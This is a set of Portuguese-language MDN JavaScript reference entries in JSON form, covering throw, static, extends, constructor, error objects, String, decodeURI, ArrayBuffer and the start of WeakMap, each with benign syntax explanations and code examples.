{"title":"throw - JavaScript","text":"throw\n=====\n\nA **declaração** **`throw`** lança uma exceção definida pelo usuário. A execução da função atual vai parar (as instruções após o `throw` não serão executadas), e o controle será passado para o primeiro bloco `catch` na pilha de chamadas. Se nenhum bloco `catch` existe entre as funções \"chamadoras\", o programa vai terminar.\n\nSintaxe\n-------\n```\n\nthrow expressão;\n```\n\n\n`expressão`\n\nA expressão a ser lançada.\n\nDescrição\n---------\n\nUse a instrução `throw` para lançar uma exceção. Quando você lança uma exceção, `expressão` especifica o valor da exceção. Cada uma das intruções a seguir lança uma exceção:\n\n\n```js\nthrow \"Erro2\"; // gera uma exceção com um valor string\nthrow 42; // gera uma exceção com o valor 42\nthrow true; // gera uma exceção com o valor true\n```\n\n\nNote também que a instrução `throw` é afetada pela inserção automática de ponto-e-vírgula (ASI) como nenhum terminador de linha entre a palavra `throw` e a expressão é permitido.\n\nExemplos\n--------\n\n### Lançando um objeto\n\nVocê pode especificar um objeto quando você lança uma exceção. Você pode então referenciar as propriedades do objeto no bloco `catch`. O exemplo a seguir cria um objeto do tipo `UserException` e o usa na intrução `throw`.\n\n\n```js\nfunction UserException(message) {\n  this.message = message;\n  this.name = \"UserException\";\n}\nfunction getMonthName(mo) {\n  mo = mo - 1; // Ajusta o número do mês para index de array (1=Jan, 12=Dec)\n  var months = [\n    \"Jan\",\n    \"Feb\",\n    \"Mar\",\n    \"Apr\",\n    \"May\",\n    \"Jun\",\n    \"Jul\",\n    \"Aug\",\n    \"Sep\",\n    \"Oct\",\n    \"Nov\",\n    \"Dec\",\n  ];\n  if (months[mo] !== undefined) {\n    return months[mo];\n  } else {\n    throw new UserException(\"InvalidMonthNo\");\n  }\n}\n\ntry {\n  // statements to try\n  var myMonth = 15; // 15 is out of bound to raise the exception\n  monthName = getMonthName(myMonth);\n} catch (e) {\n  monthName = \"unknown\";\n  logMyErrors(e.message, e.name); // pass exception object to err handler\n}\n```\n\n### Outro exemplo lançando um objeto\n\nO exemplo a seguir testa uma string de entrada para um cep dos Estados Unidos. Se o CEP utiliza um formato inválido, a intrução throw lança uma exceção através da criação de um objeto do tipo `ZipCodeFormatException`.\n\n\n```js\n/\\*\n \\* Cria um objeto ZipCode.\n \\*\n \\* Formatos aceitos para o CEP são:\n \\* 12345\n \\* 12345-6789\n \\* 123456789\n \\* 12345 6789\n \\*\n \\* Se o argumento passado para o construtor do ZipCode não atende\n \\* a um desses padrões uma exceção é lançada.\n \\*/\n\nfunction ZipCode(zip) {\n  zip = new String(zip);\n  pattern = /[0-9]{5}([- ]?[0-9]{4})?/;\n  if (pattern.test(zip)) {\n    // o valor do CEP será a primeira combinação na string\n    this.value = zip.match(pattern)[0];\n    this.valueOf = function () {\n      return this.value;\n    };\n    this.toString = function () {\n      return String(this.value);\n    };\n  } else {\n    throw new ZipCodeFormatException(zip);\n  }\n}\n\nfunction ZipCodeFormatException(value) {\n  this.value = value;\n  this.message = \"does not conform to the expected format for a zip code\";\n  this.toString = function () {\n    return this.value + this.message;\n  };\n}\n\n/\\*\n \\* Isso poderia estar em um script que valida dados de endereços\n \\* para os endereços dos Estados Unidos.\n \\*/\n\nconst ZIPCODE\\_INVALID = -1;\nconst ZIPCODE\\_UNKNOWN\\_ERROR = -2;\n\nfunction verifyZipCode(z) {\n  try {\n    z = new ZipCode(z);\n  } catch (e) {\n    if (e instanceof ZipCodeFormatException) {\n      return ZIPCODE\\_INVALID;\n    } else {\n      return ZIPCODE\\_UNKNOWN\\_ERROR;\n    }\n  }\n  return z;\n}\n\na = verifyZipCode(95060); // retorna 95060\nb = verifyZipCode(9560); // retorna -1\nc = verifyZipCode(\"a\"); // retorna -1\nd = verifyZipCode(\"95060\"); // retorna 95060\ne = verifyZipCode(\"95060 1234\"); // retorna 95060 1234\n```\n\n### Relançando uma exceção\n\nVocê pode usar `throw` para relançar uma exceção após você pegá-la. O exemplo a seguir pega uma exceção com um valor numérico e a relança se o valor for maior que 50. A exceção relançada propaga para a função encapsuladora ou para o nível superior para que o usuário a veja.\n\n\n```js\ntry {\n  throw n; // lança uma exceção com um valor numérico\n} catch (e) {\n  if (e <= 50) {\n    // instruções para tratar exceções 1-50\n  } else {\n    // não pode tratar esta exceção então relança\n    throw e;\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-throw-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `try...catch`"}
{"title":"static - JavaScript","text":"static\n======\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA palavra chave **static** define um método estático para a classe. Métodos estáticos não são chamados na instâncias da classe. Em vez disso, eles são chamados na própria classe. Geralmente, são funções utilitárias, como funções para criar ou clonar objetos.\n\nSintaxe\n-------\n```\n\nstatic nomeDoMetodo() { ... }\n```\n\nDescrição\n---------\n\nChamadas a métodos estáticos são feitas diretamente na classe e não podem ser feitas em uma instância da classe. Métodos estáticos são comumente utilizados como funções utilitárias.\n\nChamada de métodos estáticos\n----------------------------\n\n### De outro método estático\n\nPara chamar um método estático dentro de outro método estático da mesma classe, podemos utilizar a palavra reservada `this`.\n\n\n```js\nclass ChamadaDoMetodoEstatico {\n  static metodoEstatico() {\n    return \"O método estático foi chamado\";\n  }\n  static outroMetodoEstatico() {\n    return this.metodoEstatico() + \" de outro método estático\";\n  }\n}\nChamadaDoMetodoEstatico.metodoEstatico();\n// 'O método estático foi chamado'\n\nChamadaDoMetodoEstatico.outroMetodoEstatico();\n// 'O método estático foi chamado de outro método estático'\n```\n\n### De outro construtor e outros métodos\n\nMétodos estáticos não são diretamente acessíveis utilizando-se `this` a partir de métodos não estáticos. É necessário chamá-los usando o nome da classe:\n\n\n```js\nnomeDaClasse.nomeDoMetodoEstatico();\n```\n\n\nou chamando o método como uma propriedade do construtor:\n\n\n```js\nthis.constructor.nomeDoMetodoEstatico().\n```\n\n\n\n```js\nclass ChamadaDoMetodoEstatico {\n  constructor() {\n    console.log(ChamadaDoMetodoEstatico.MetodoEstatico());\n    // 'O método estático foi chamado.'\n\n    console.log(this.constructor.MetodoEstatico());\n    // 'O método estático foi chamado.'\n  }\n\n  static MetodoEstatico() {\n    return \"O método estático foi chamado.\";\n  }\n}\n```\n\nExemplos\n--------\n\nO exemplo a seguir demonstra várias coisas. Ele mostra como um método estático é implementado em uma classe e como uma classe com um membro estático pode virar uma subclasse. Por fim, ele mostra como um método estático pode e não pode ser chamado.\n\n\n```js\nclass Tripple {\n  static tripple(n) {\n    n = n | 1;\n    return n \\* 3;\n  }\n}\n\nclass BiggerTripple extends Tripple {\n  static tripple(n) {\n    return super.tripple(n) \\* super.tripple(n);\n  }\n}\n\nconsole.log(Tripple.tripple());\nconsole.log(Tripple.tripple(6));\nconsole.log(BiggerTripple.tripple(3));\nvar tp = new Tripple();\nconsole.log(tp.tripple()); //Logs 'tp.tripple is not a function'.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-class-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `class` expression\n* `class` declaration\n* Classes"}
{"title":"extends - JavaScript","text":"extends\n=======\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA palavra chave **`extends`** é usada em uma class declarations ou class expressions para criar uma classe filha de outra classe.\n\nSintaxe\n-------\n```\n\nclass ChildClass extends ParentClass { ... }\n```\n\nDescrição\n---------\n\nA palavra chave extends pode ser usada para tanto classes filhas quanto objetos filhos pré-construidos.\n\nO `.prototype` da extensão deve ser um `Object` ou `null`.\n\nExemplos\n--------\n\n### Usando `extends`\n\nO primeiro exemplo cria uma classe chamada `Square` a partir de uma classe chamada `Polygon`. Este exemplo foi extraido deste live demo (source).\n\n\n```js\nclass Square extends Polygon {\n  constructor(length) {\n    // Here, it calls the parent class' constructor with lengths\n    // provided for the Polygon's width and height\n    super(length, length);\n    // Nota: In derived classes, super() must be called before you\n    // can use 'this'. Leaving this out will cause a reference error.\n    this.name = \"Square\";\n  }\n\n  get area() {\n    return this.height \\* this.width;\n  }\n\n  set area(value) {\n    this.area = value;\n  }\n}\n```\n\n### Usando `extends` com objetos pré-construidos\n\nEste exemplo extende o objeto pré-construido `Date`. Este exemplo foi extraido deste live demo (source).\n\n\n```js\nclass myDate extends Date {\n  constructor() {\n    super();\n  }\n\n  getFormattedDate() {\n    var months = [\n      \"Jan\",\n      \"Feb\",\n      \"Mar\",\n      \"Apr\",\n      \"May\",\n      \"Jun\",\n      \"Jul\",\n      \"Aug\",\n      \"Sep\",\n      \"Oct\",\n      \"Nov\",\n      \"Dec\",\n    ];\n    return (\n      this.getDate() + \"-\" + months[this.getMonth()] + \"-\" + this.getFullYear()\n    );\n  }\n}\n```\n\n### Estendendo `null`\n\nEstender de `null` funciona como em uma classe normal, exceto que o objeto prototype não herda de `Object.prototype` (en-US).\n\n\n```js\nclass nullExtends extends null {\n  constructor() {}\n}\n\nObject.getPrototypeOf(nullExtends); // Function.prototype\nObject.getPrototypeOf(nullExtends.prototype); // null\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-class-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Classes\n* super"}
{"title":"constructor - JavaScript","text":"constructor\n===========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO construtor é um método especial para criar e inicializar um objeto criado a partir de uma classe.\n\nSintaxe\n-------\n```\n\nconstructor([argumentos]) { ... }\n```\n\nDescrição\n---------\n\nApenas um método especial com o nome *constructor* pode existir em uma classe. O erro `SyntaxError` (en-US) será mostrado se a classe contiver mais de um método *constructor.*\n\nUm construtor pode usar a palavra reservada *super* para se referir ao construtor da classe pai (**superior**).\n\nUm construtor padrão será usado se você não especificá-lo\\*.\\*\n\nExemplos\n--------\n\n### Usando o método *constructor*\n\nO trecho de código foi fornecido por exemplo de classes (live demo).\n\n\n```js\nclass Quadrado extends Poligono {\n  constructor(comprimento) {\n    // super chama o construtor da classe pai que vai atribuir comprimento para\n    // os atributos comprimento e altura herdados pela nossa classe filha Quadrado\n    super(comprimento, comprimento);\n    // Nas classes filhas, super() deve ser chamado antes de usar o this. Sem ele\n    // vai ocorrer um erro de referência. O this agora se refere a classe filha Quadrado\n    this.nome = \"Quadrado\";\n  }\n\n  // os atributos a seguir são herdados da classe pai Poligono: altura, comprimento e area.\n\n  get area() {\n    return this.altura \\* this.comprimento;\n  }\n\n  set area(valor) {\n    this.area = valor;\n  }\n}\n```\n\n### Construtores padrão (*constructors*)\n\nUm construtor padrão será usado pela classe caso nenhum seja especificado. Para as classes de base o construtor padrão é:\n\n\n```js\nconstructor() {} //construtor criado por padrão\n```\n\n\nPara as classes filhas o construtor padrão é:\n\n\n```js\nconstructor(...args) {\n  super(...args);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-static-semantics-constructormethod |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* super()\n* `class` expressão\n* `class` declaração\n* Classes"}
{"title":"EvalError - JavaScript","text":"EvalError\n=========\n\nO Objeto **`EvalError`** indica um erro em relação a função global `eval()`. Esta exceção não é mais lançada pelo JavaScript, no entanto, o objeto `EvalError` ainda permanece compatível.\n\nSintaxe\n-------\n```\n\nnew EvalError([message[, fileName[, lineNumber]]])\n```\n\n### Parâmetros\n\n`message`\n\nOpcional. Descrição do erro legível para humanos\n\n`fileName` \nNon-standard\n\nOpcional. O nome do arquivo que contém o código que causa a exceção\n\n`lineNumber` \nNon-standard\n\nOpcional. O número da linha do código que causa a exceção\n\nPropriedades\n------------\n\n`EvalError.prototype` (en-US)\n\nPermite a adição de propriedades para um objeto `EvalError`.\n\nMétodos\n-------\n\nO global `EvalError` não contém métodos próprios, no entando, ele irá herdar alguns métodos através da cadeia de protótipos.\n\n`Instâncias do EvalError`\n-------------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/EvalError/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/EvalError/prototype', 'Methods')}}Exemplos\n--------\n\n`EvalError` não é usado na especificação ECMAScript e deste modo não será lançado pelo tempo de execução. No entando, o objeto em si permanece para compatibilidade com versões anteriores da especificação.\n\n### Criando um `EvalError`\n\n\n```js\ntry {\n  throw new EvalError(\"Hello\", \"someFile.js\", 10);\n} catch (e) {\n  console.log(e instanceof EvalError); // true\n  console.log(e.message); // \"Hello\"\n  console.log(e.name); // \"EvalError\"\n  console.log(e.fileName); // \"someFile.js\"\n  console.log(e.lineNumber); // 10\n  console.log(e.columnNumber); // 0\n  console.log(e.stack); // \"@Scratchpad/2:2:9\\n\"\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-native-error-types-used-in-this-standard-evalerror |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error`\n* `EvalError.prototype` (en-US)\n* `eval()`"}
{"title":"String - JavaScript","text":"String\n======\n\nSumário\n-------\n\nO objeto global **`String`** é um construtor para **strings,** ou uma sequência de caracteres.\n\nSintaxe\n-------\n\nAs formas literais de declaração de *String* são:\n```\n\n'string text'\n\"string text\"\n\"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어\"\n```\n\n\nAlém da forma regular, de caracteres de impressão, caracteres especiais podem ser codificados usando a *escape notation* (notação com barra invertida):\n\n| Codigo | Saida |\n| --- | --- |\n| \\0 | o caractere NULL |\n| \\' | aspas simples |\n| \\\" | aspas duplas |\n| \\\\ | barra invertida |\n| \\n | nova linha |\n| \\r | carriage return |\n| \\v | tab vertical |\n| \\t | tab |\n| \\b | backspace |\n| \\f | form feed |\n| \\uXXXX | unicode codepoint |\n| \\xXX | the Latin-1 character |\n\nOu, usando o objeto global `String` diretamente:\n```\n\nString(thing)\nnew String(thing)\n```\n\n### Parâmetros\n\n`thing`\n\nQualquer coisa a ser convertida para uma string.\n\nDescrição\n---------\n\nStrings são úteis para guardar dados que podem ser representados em forma de texto. Uma das operações mais usadas nas **strings** é checar seu `tamanho`, para construir e concatená-las usando os operadores + e +=, checando pela existência ou posição de *substrings* com o método `indexOf` , ou extrair *substrings* com o método `substring`.\n\n### Acesso à caractere\n\nHá duas maneiras de acessar um caractere individual em uma string. A primeira é o método `charAt`:\n\n\n```js\nreturn \"cat\".charAt(1); // returns \"a\"\n```\n\n\nA outra maneira (introduzido no ECMAScript 5) consiste em tratar a string como um objeto Array-like, onde os caráteres individuais correspondem a um índice numérico:\n\n\n```js\nreturn \"cat\"[1]; // returns \"a\"\n```\n\n\nPara acesso de caracteres usando uma notação de colchetes, tentando deletar ou designar um valor a estas propriedades não haverá sucesso. As propriedades envolvidas não são nem escritas ou configuráveis. (Veja `Object.defineProperty` para mais informações.)\n\n### Comparando strings\n\nDesenvolvedores de C têm a função strcmp() para comparar strings. No JavaScript, basta usar o operador maior que e menor que (en-US):\n\n\n```js\nvar a = \"a\";\nvar b = \"b\";\nif (a < b)\n  // verdadeiro\n  print(a + \" é menor que \" + b);\nelse if (a > b) print(a + \" é maior que \" + b);\nelse print(a + \" e \" + b + \" são iguais.\");\n```\n\n\nUm resultado similar pode ser alcançado usando o método `localeCompare` herdado pelas instâncias de `String`.\n\n### Distinção entre String primitiva e objetos String\n\nNote que o JavaScript distingue entre objetos String e valores de string primitivas. (O mesmo é válido para `Boolean` e `Numbers`.)\n\nStrings literais (definidas por aspas duplas ou aspas simples) e strings retornadas da chamada da função String fora do contexto de uma função construtora (sem o uso da palavra chave new) são strings primitivas. O JavaScript converte automaticamente strings primitivas para objetos do tipo String, por isso é possível utilizar os métodos do objeto String através de strings primitivas. Em contextos onde um método é invocado de uma string primitiva ou uma propriedade é procurada, o JavaScript irá criar um objeto com a string primitiva e executar o método ou acessar a propriedade procurada.\n\n\n```js\nvar s_prim = \"foo\";\nvar s_obj = new String(s_prim);\n\nconsole.log(typeof s_prim); // Loga \"string\"\nconsole.log(typeof s_obj); // Loga \"object\"\n```\n\n\nString primitivas e objetos `String` também dão resultados diferentes quando usado `eval`. Primitivas passadas para `eval` são tratadas como código fonte; Objetos `String` são tratados como todos os outros objetos são, retornando o objeto. Por exemplo:\n\n\n```js\ns1 = \"2 + 2\"; // cria uma string primitiva\ns2 = new String(\"2 + 2\"); // cria um objeto de String\nconsole.log(eval(s1)); // retorna o número 4\nconsole.log(eval(s2)); // retorna a string \"2 + 2\"\n```\n\n\nPor estas razões, o código pode quebrar quando encontra objetos `String` quando espera na verdade uma string primitiva, apesar de que geralmente autores não precisam se preocupar com a distinção.\n\nUm objeto `String` pode ser convertido sempre para sua contraparte primitiva com o método `valueOf`.\n\n\n```js\nconsole.log(eval(s2.valueOf())); // retorna o número 4\n```\n\n\n**Nota:** Para uma outra possível abordagem para strings em JavaScript, favor ler o artigo sobre `StringView` – a C-like representation of strings based on typed arrays.\n\nPropriedades\n------------\n\n`String.prototype` (en-US)\n\nPermite a adição de propriedades a um objeto String.\n\nMétodos\n-------\n\n`String.fromCharCode()`\n\nRetorna uma string criada usando a sequência especificada de valores Unicode.\n\n`String.fromCodePoint()` \nExperimental\n\nRetorna uma string criada usando a sequência especificada de posições de código.\n\n`Métodos genéricos de Strings`\n------------------------------\n\nMétodos de instância `String` também estão disponíveis no Firefox a partir de JavaScript 1.6 (embora não faça parte dos padrões ECMAScript) no objeto String para aplicar métodos String a qualquer objeto:\n\n\n```js\nvar num = 15;\nalert(String.replace(num, /5/, \"2\"));\n```\n\n\nGenéricos também estão disponíveis em métodos `Array`.\n\nO seguinte é uma implementação para fornecer suporte a navegadores sem suporte:\n\n\n```js\n/\\*globals define\\*/\n// Assume que todos os métodos de instância String fornecidos\n// já presentes (podem ser usadas implementações para este se não disponível)\n(function () {\n  \"use strict\";\n\n  var i,\n    // Nós também poderíamos construir o array de métodos com os seguintes,\n    // mas o método getOwnPropertyNames() não é implementável:\n    // Object.getOwnPropertyNames(String).filter(function (methodName)\n    // {return typeof String[methodName] === 'function'});\n    methods = [\n      \"quote\",\n      \"substring\",\n      \"toLowerCase\",\n      \"toUpperCase\",\n      \"charAt\",\n      \"charCodeAt\",\n      \"indexOf\",\n      \"lastIndexOf\",\n      \"startsWith\",\n      \"endsWith\",\n      \"trim\",\n      \"trimLeft\",\n      \"trimRight\",\n      \"toLocaleLowerCase\",\n      \"toLocaleUpperCase\",\n      \"localeCompare\",\n      \"match\",\n      \"search\",\n      \"replace\",\n      \"split\",\n      \"substr\",\n      \"concat\",\n      \"slice\",\n    ],\n    methodCount = methods.length,\n    assignStringGeneric = function (methodName) {\n      var method = String.prototype[methodName];\n      String[methodName] = function (arg1) {\n        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));\n      };\n    };\n\n  for (i = 0; i < methodCount; i++) {\n    assignStringGeneric(methods[i]);\n  }\n})();\n```\n\nInstâncias de `String`\n----------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/String/prototype', 'Propriedades')}}### Métodos\n\n#### Métodos não relacionados ao HTML\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/String/prototype', 'Métodos\\_não\\_relacionados\\_ao\\_HTML')}}\n#### Métodos de envoltório HTML\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/String/prototype', 'Métodos\\_de\\_envoltório\\_HTML')}}Exemplos\n--------\n\n### Conversão de String\n\nÉ possível usar `String` como uma alternativa \"mais segura\" `toString`, como embora normalmente ainda chama o `toString` subjacente, também funciona para `null` e `undefined`. Por exemplo:\n\n\n```js\nvar outputStrings = [];\nfor (let i = 0, n = inputValues.length; i < n; ++i) {\n  outputStrings.push(String(inputValues[i]));\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* DOMString\n* `StringView` – a C-like representation of strings based on typed arrays\n* Binary strings"}
{"title":"decodeURI() - JavaScript","text":"decodeURI()\n===========\n\nA função **`decodeURI()`** decodifica um Uniform Resource Identifier (URI) criado anteriormente por `encodeURI()` ou por uma rotina semelhante.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndecodeURI(encodedURI)\n```\n\n### Parâmetros\n\n`encodedURI`\n\nUm identificador de recurso uniforme codificado completo.\n\n### Valor retornado\n\nUma nova string representando a versão não codificada do URI (Uniform Resource Identifier) codificado fornecido.\n\n### Exceções\n\nLança uma exceção `URIError` (en-US) (\"sequência de URI malformada\") quando o `encodedURI` contém sequências de caracteres inválidos.\n\nDescrição\n---------\n\nSubstitui cada sequência de escape no URI codificado pelo caractere que ele representa, mas não decodifica sequências de escape que não poderiam ter sido introduzidas por `encodeURI`. O caractere \"`#`\" não é decodificado a partir de sequência de escape.\n\nExemplos\n--------\n\n### Decodificando uma URL Cyrillic\n\n\n```js\ndecodeURI(\n  \"https://developer.mozilla.org/ru/docs/JavaScript\\_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B\",\n);\n// \"https://developer.mozilla.org/ru/docs/JavaScript\\_шеллы\"\n```\n\n### Captura de erros\n```\n\ntry {\n  var a = decodeURI('%E0%A4%A');\n} catch(e) {\n  console.error(e);\n}\n\n// URIError: sequência de URI malformada\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-decodeuri-encodeduri |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `decodeURIComponent()`\n* `encodeURI()`\n* `encodeURIComponent()`"}
{"title":"ReferenceError - JavaScript","text":"ReferenceError\n==============\n\nO objeto **`ReferenceError`** representa um erro quando uma variável não existente é referenciada.\n\nSintaxe\n-------\n```\n\nnew ReferenceError([message[, fileName[, lineNumber]]])\n```\n\n### Parâmetros\n\n`message`\n\nOpcional. Descrição legível do erro.\n\n`fileName` \nNon-standard\n\nOpcional. O nome do arquivo contendo o código que causou a excessão.\n\n`lineNumber` \nNon-standard\n\nOpcional. O número da linha do código que causou a excessão.\n\nDescrição\n---------\n\nO `ReferenceError` acontece quando é feita uma tentativa de referenciar uma variável que não foi declarada.\n\nPropriedades\n------------\n\n`ReferenceError.prototype` (en-US)\n\nPermite a inclusão de propriedades em um objeto `ReferenceError`.\n\nMétodos\n-------\n\nO `ReferenceError` não contém métodos próprios, porém, ele herda alguns métodos através da cadeia de protótipos.\n\nInstâncias do `ReferenceError`\n------------------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/ReferenceError/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/ReferenceError/prototype', 'Methods')}}Exemplos\n--------\n\n### Capturando um `ReferenceError`\n\n\n```js\ntry {\n  var a = variavelNaoDefinida;\n} catch (e) {\n  console.log(e instanceof ReferenceError); // true\n  console.log(e.message); // \"variavelNaoDefinida não está definida\"\n  console.log(e.name); // \"ReferenceError\"\n  console.log(e.fileName); // \"Scratchpad/1\"\n  console.log(e.lineNumber); // 2\n  console.log(e.columnNumber); // 6\n  console.log(e.stack); // \"@Scratchpad/2:2:7\\n\"\n}\n```\n\n### Criando um `ReferenceError`\n\n\n```js\ntry {\n  throw new ReferenceError(\"Olá\", \"arquivoQualquer.js\", 10);\n} catch (e) {\n  console.log(e instanceof ReferenceError); // true\n  console.log(e.message); // \"Olá\"\n  console.log(e.name); // \"ReferenceError\"\n  console.log(e.fileName); // \"arquivoQualquer.js\"\n  console.log(e.lineNumber); // 10\n  console.log(e.columnNumber); // 0\n  console.log(e.stack); // \"@Scratchpad/2:2:9\\n\"\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-native-error-types-used-in-this-standard-referenceerror |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error`\n* `ReferenceError.prototype` (en-US)"}
{"title":"ArrayBuffer - JavaScript","text":"ArrayBuffer\n===========\n\nO objeto **`ArrayBuffer`** é um tipo de dado usado para representar um genérico, buffer de dados binários de tamanho fixo. Você não pode manipular diretamente os conteúdos de um `ArrayBuffer`; em vez disso, você cria um objeto `ArrayBufferView` que representa o buffer em um formato específico, e usa para ler e escrever os conteúdos do buffer.\n\nExperimente\n-----------\n\nSyntax\n------\n```\n\nnew ArrayBuffer(length)\n```\n\n### Parameters\n\n`length`\n\nThe size, in bytes, of the array buffer to create.\n\n### Return value\n\nA new `ArrayBuffer` object of the specified size. Its contents are initialized to 0.\n\n### Exceptions\n\nA `RangeError` (en-US) is thrown if the `length` is larger than `Number.MAX_SAFE_INTEGER` (>= 2 \\*\\* 53) or negative.\n\nDescription\n-----------\n\nThe `ArrayBuffer` constructor creates a new `ArrayBuffer` of the given length in bytes.\n\n### Getting an array buffer from existing data\n\n* From a Base64 string (en-US)\n* From a local file\nProperties\n----------\n\n`ArrayBuffer.length`\n\nThe `ArrayBuffer` constructor's length property whose value is 1.\n\n`get ArrayBuffer[@@species]` (en-US)\n\nThe constructor function that is used to create derived objects.\n\n`ArrayBuffer.prototype` (en-US)\n\nAllows the addition of properties to all `ArrayBuffer` objects.\n\nMethods\n-------\n\n`ArrayBuffer.isView(arg)` (en-US)\n\nReturns `true` if `arg` is one of the ArrayBuffer views, such as typed array objects (en-US) or a `DataView`. Returns `false` otherwise.\n\n`ArrayBuffer.transfer(oldBuffer [, newByteLength])` (en-US) \nExperimental\n\nReturns a new `ArrayBuffer` whose contents are taken from the `oldBuffer`'s data and then is either truncated or zero-extended by `newByteLength`.\n\nInstances\n---------\n\nAll `ArrayBuffer` instances inherit from `ArrayBuffer.prototype` (en-US).\n\n### Properties\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/ArrayBuffer/prototype','Properties')}}### Methods\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/ArrayBuffer/prototype','Methods')}}\n\n`ArrayBuffer.slice()` (en-US) \nNon-standard\n\nHas the same functionality as `ArrayBuffer.prototype.slice()` (en-US).\n\nExemplo\n-------\n\nIn this example, we create a 8-byte buffer with a `Int32Array` (en-US) view referring to the buffer:\n```\n\nvar buffer = new ArrayBuffer(8);\nvar view   = new Int32Array(buffer);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-arraybuffer-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nCompatibility notes\n-------------------\n\nStarting with ECMAScript 2015, `ArrayBuffer` constructors require to be constructed with a `new` operator. Calling an `ArrayBuffer` constructor as a function without `new`, will throw a `TypeError` from now on.\n\n\n```js\nvar dv = ArrayBuffer(10);\n// TypedError: calling a builtin ArrayBuffer constructor\n// without new is forbidden\n```\n\n\n\n```js\nvar dv = new ArrayBuffer(10);\n```\n\nVeja também\n-----------\n\n* JavaScript typed arrays\n* `SharedArrayBuffer` (en-US)"}
{"title":"WeakMap - JavaScript","text":"WeakMap\n=======\n\nSumário\n-------\n\n O objeto WeakMap é uma coleção de pares key/value na qual as chaves são fracamente referenciadas.\n As chaves **devem** ser objetos, e os valores podem ser de tipos arbitrários.\n\nVocê pode descobrir mais sobre `WeakMap`s na seção Objeto WeakMap.\n\nSintaxe\n-------\n```\n\nnew WeakMap([iterable])\n```\n\n### Parâmetros\n\n`iterable`\n\nIterable é um Array ou outro objeto iterável cujos elementos são pares key-value (Arrays de dois elementos). Cada par key-value será adicionados ao novo `WeakMap`. `null` é tratado como `undefined`.\n\nDescrição\n---------\n\n### Por quê WeakMap?\n\nUm programador JavaScript experiente vai notar que esta API pode ser implementada em JavaScript com dois arrays (um para chaves, um para valores) compartilhado pelos 4 métodos da API. Tal implementação teria duas principais incoveniências. A primeira é uma busca O(n) (n sendo o número de chaves no map). A segunda é o problema de memory leak. Com maps escritos manualmente, o array de chaves guardaria referências para objetos chave, prevenindo-os de serem coletados pelo Garbage Collector. Nos WeakMaps nativos, referências aos objetos chave são segurados de modo \"fraco\", o que significa que eles não previnem a coleção pelo GC no caso de não haver nenhuma outra referência ao objeto.\n\nPor conta das referências serem fracas, chaves de `WeakMap` não são enumeráveis (i.e. não existe um método que dá a você uma lista de chaves). Se existisse tal método, a lista dependeria no estado da coleção do GC, introduzindo não-determinismo. Se você quiser ter uma lista de chaves, deve usar um `Map`.\n\nConstrutor\n----------\n\n`WeakMap()` (en-US)\n\nCria um novo objeto `WeakMap`.\n\nMétodos de instância\n--------------------\n\n`WeakMap.prototype.delete(key)`\n\nRemove qualquer valor associado à chave(`key`). `WeakMap.prototype.has(key)` retornará `false` 